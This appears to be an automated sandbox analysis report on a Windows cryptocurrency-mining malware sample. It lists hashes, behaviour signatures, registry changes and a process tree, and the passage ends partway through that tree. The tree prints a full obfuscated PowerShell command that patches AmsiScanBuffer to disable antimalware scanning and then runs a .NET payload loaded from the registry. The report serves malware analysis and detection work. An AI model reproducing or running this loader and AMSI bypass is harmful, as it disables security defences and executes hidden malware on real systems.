Analysis
- max time kernel
150s - max time network
148s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system - submitted
08/10/2025, 04:07
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20250610-en
22 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win11-20250502-en
19 signatures
150 seconds
General
- Target file.exe
- Size 8.3MB
- Sample251008-epp2hacl7t
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2348 created 648 2348 powershell.EXE 5 PID 3864 created 648 3864 powershell.EXE 5 - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1448 powershell.exe 4256 powershell.exe 3864 powershell.EXE 2348 powershell.EXE - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 1 IoCs
pid Process 2196 Svchost.exe - Stops running service(s) 4 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 pastebin.com 4 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4988 powercfg.exe 3512 powercfg.exe 3944 powercfg.exe 436 powercfg.exe 2320 powercfg.exe 2964 powercfg.exe 2652 powercfg.exe 3868 powercfg.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\MRT.exe file.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\MRT.exe Svchost.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 1200 file.exe 1200 file.exe 2196 Svchost.exe 2196 Svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 1200 set thread context of 5108 1200 file.exe 98 PID 2348 set thread context of 1796 2348 powershell.EXE 113 PID 2196 set thread context of 2668 2196 Svchost.exe 133 PID 2196 set thread context of 4636 2196 Svchost.exe 135 PID 2196 set thread context of 3900 2196 Svchost.exe 139 PID 3864 set thread context of 4420 3864 powershell.EXE 142 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3732 sc.exe 4676 sc.exe 1148 sc.exe 660 sc.exe 2316 sc.exe 2464 sc.exe 5940 sc.exe 4888 sc.exe 4896 sc.exe 4252 sc.exe 4964 sc.exe 3244 sc.exe 3676 sc.exe 3108 sc.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 08 Oct 2025 04:08:56 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1200 file.exe 1200 file.exe 1200 file.exe 1448 powershell.exe 1448 powershell.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 1200 file.exe 2348 powershell.EXE 2348 powershell.EXE 2348 powershell.EXE 1796 dllhost.exe 1796 dllhost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 4256 powershell.exe 4256 powershell.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 4256 powershell.exe 1796 dllhost.exe 1796 dllhost.exe 2196 Svchost.exe 2196 Svchost.exe 1796 dllhost.exe 1796 dllhost.exe 1796 dllhost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 2196 Svchost.exe 1796 dllhost.exe 1796 dllhost.exe 2196 Svchost.exe 3900 dialer.exe 3900 dialer.exe 1796 dllhost.exe 1796 dllhost.exe 3864 powershell.EXE - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3248 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1448 powershell.exe Token: SeShutdownPrivilege 436 powercfg.exe Token: SeCreatePagefilePrivilege 436 powercfg.exe Token: SeShutdownPrivilege 2652 powercfg.exe Token: SeCreatePagefilePrivilege 2652 powercfg.exe Token: SeShutdownPrivilege 2320 powercfg.exe Token: SeCreatePagefilePrivilege 2320 powercfg.exe Token: SeShutdownPrivilege 2964 powercfg.exe Token: SeCreatePagefilePrivilege 2964 powercfg.exe Token: SeDebugPrivilege 2348 powershell.EXE Token: SeDebugPrivilege 2348 powershell.EXE Token: SeDebugPrivilege 1796 dllhost.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3944 powercfg.exe Token: SeCreatePagefilePrivilege 3944 powercfg.exe Token: SeShutdownPrivilege 4988 powercfg.exe Token: SeCreatePagefilePrivilege 4988 powercfg.exe Token: SeShutdownPrivilege 3868 powercfg.exe Token: SeCreatePagefilePrivilege 3868 powercfg.exe Token: SeLockMemoryPrivilege 3900 dialer.exe Token: SeShutdownPrivilege 3512 powercfg.exe Token: SeCreatePagefilePrivilege 3512 powercfg.exe Token: SeDebugPrivilege 3864 powershell.EXE Token: SeDebugPrivilege 3864 powershell.EXE Token: SeDebugPrivilege 4420 dllhost.exe Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE Token: SeCreatePagefilePrivilege 3248 Explorer.EXE Token: SeShutdownPrivilege 3248 Explorer.EXE - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3900 dialer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5472 wrote to memory of 4836 5472 cmd.exe 86 PID 5472 wrote to memory of 4836 5472 cmd.exe 86 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 1200 wrote to memory of 5108 1200 file.exe 98 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 2348 wrote to memory of 1796 2348 powershell.EXE 113 PID 1796 wrote to memory of 648 1796 dllhost.exe 5 PID 1796 wrote to memory of 704 1796 dllhost.exe 7 PID 1796 wrote to memory of 996 1796 dllhost.exe 12 PID 1796 wrote to memory of 404 1796 dllhost.exe 13 PID 1796 wrote to memory of 692 1796 dllhost.exe 14 PID 1796 wrote to memory of 1036 1796 dllhost.exe 16 PID 1796 wrote to memory of 1100 1796 dllhost.exe 17 PID 1796 wrote to memory of 1108 1796 dllhost.exe 18 PID 1796 wrote to memory of 1132 1796 dllhost.exe 19 PID 1796 wrote to memory of 1192 1796 dllhost.exe 20 PID 1796 wrote to memory of 1260 1796 dllhost.exe 21 PID 1796 wrote to memory of 1300 1796 dllhost.exe 22 PID 1796 wrote to memory of 1320 1796 dllhost.exe 23 PID 1796 wrote to memory of 1376 1796 dllhost.exe 24 PID 1796 wrote to memory of 1500 1796 dllhost.exe 26 PID 1796 wrote to memory of 1508 1796 dllhost.exe 27 PID 1796 wrote to memory of 1580 1796 dllhost.exe 28 PID 1796 wrote to memory of 1656 1796 dllhost.exe 29 PID 1796 wrote to memory of 1720 1796 dllhost.exe 30 PID 1796 wrote to memory of 1736 1796 dllhost.exe 31 PID 1796 wrote to memory of 1764 1796 dllhost.exe 32 PID 1796 wrote to memory of 1772 1796 dllhost.exe 33 PID 1796 wrote to memory of 1792 1796 dllhost.exe 34 PID 1796 wrote to memory of 1876 1796 dllhost.exe 35 PID 1796 wrote to memory of 1888 1796 dllhost.exe 36 PID 1796 wrote to memory of 2000 1796 dllhost.exe 37 PID 1796 wrote to memory of 2136 1796 dllhost.exe 39 PID 1796 wrote to memory of 2340 1796 dllhost.exe 40 PID 1796 wrote to memory of 2436 1796 dllhost.exe 41 PID 1796 wrote to memory of 2444 1796 dllhost.exe 42 PID 1796 wrote to memory of 2508 1796 dllhost.exe 43 PID 1796 wrote to memory of 2548 1796 dllhost.exe 44 PID 1796 wrote to memory of 2616 1796 dllhost.exe 45 PID 1796 wrote to memory of 2632 1796 dllhost.exe 46 PID 1796 wrote to memory of 2644 1796 dllhost.exe 47 PID 1796 wrote to memory of 2660 1796 dllhost.exe 48 PID 1796 wrote to memory of 3060 1796 dllhost.exe 49 PID 1796 wrote to memory of 2224 1796 dllhost.exe 50 PID 1796 wrote to memory of 3080 1796 dllhost.exe 51 PID 1796 wrote to memory of 3248 1796 dllhost.exe 52 PID 1796 wrote to memory of 3416 1796 dllhost.exe 53 PID 1796 wrote to memory of 3444 1796 dllhost.exe 54 PID 1796 wrote to memory of 3788 1796 dllhost.exe 57 PID 1796 wrote to memory of 3880 1796 dllhost.exe 58 PID 1796 wrote to memory of 3972 1796 dllhost.exe 59 PID 1796 wrote to memory of 4004 1796 dllhost.exe 60 PID 1796 wrote to memory of 4312 1796 dllhost.exe 61 PID 1796 wrote to memory of 4344 1796 dllhost.exe 62 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:648
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:404
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{88432957-3f47-4a42-aa7a-8fd240842d85}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1796
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a369939d-045b-4069-9b27-43f66aca43f2}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4420
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1108 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KvVjUWpRpCqA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tQDXgXXqdAPmVO,[Parameter(Position=1)][Type]$iwzRSNAszX)$QBsERcPhnPY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+'c'+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+'le'+'g'+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+'od'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'at'+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+'u'+'t'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$QBsERcPhnPY.DefineConstructor(''+'R'+''+'T'+''+'S'+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+'l'+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+'g'+','+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$tQDXgXXqdAPmVO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+',M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$QBsERcPhnPY.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+'B'+[Char](121)+'Si'+[Char](103)+''+','+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$iwzRSNAszX,$tQDXgXXqdAPmVO).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+[Char](105)+''+'m'+''+'e'+''+[Char](44)+'M'+[Char](97)+'na'+[Char](103)+'ed');Write-Output $QBsERcPhnPY.CreateType();}$lLZRmlzzsCLIa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+'.'+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+'.'+''+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+[Char](97)+'t'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$xWHEjecKqzhzmv=$lLZRmlzzsCLIa.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'li'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gsnUSgydCdrqZfxLnDd=KvVjUWpRpCqA @([String])([IntPtr]);$DrOciwFTwpzlfkTEuTDpWH=KvVjUWpRpCqA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sJAFqzOVJes=$lLZRmlzzsCLIa.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$QFRmZmeIrBjjLt=$xWHEjecKqzhzmv.Invoke($Null,@([Object]$sJAFqzOVJes,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'ra'+[Char](114)+''+'y'+''+[Char](65)+'')));$EsPInryeQndvnvSUj=$xWHEjecKqzhzmv.Invoke($Null,@([Object]$sJAFqzOVJes,[Object]('V'+'i'+'r'+[Char](116)+''+'u'+''+[Char](97)+'l'+[Char](80)+'r'+'o'+'t'+'e'+'c'+[Char](116)+'')));$furXKar=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QFRmZmeIrBjjLt,$gsnUSgydCdrqZfxLnDd).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+''+[Char](108)+'l');$jOrfMsxDUzUJFhwcE=$xWHEjecKqzhzmv.Invoke($Null,@([Object]$furXKar,[Object](''+[Char](65)+''+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+'a'+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$asKZPXGLse=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EsPInryeQndvnvSUj,$DrOciwFTwpzlfkTEuTDpWH).Invoke($jOrfMsxDUzUJFhwcE,[uint32]8,4,[ref]$asKZPXGLse);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jOrfMsxDUzUJFhwcE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EsPInryeQndvnvSUj,$DrOciwFTwpzlfkTEuTDpWH).Invoke($jOrfMsxDUzUJFhwcE,[uint32]8,0x20,[ref]$asKZPXGLse);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFT'+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+'d'+''+'i'+'a'+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2348 -
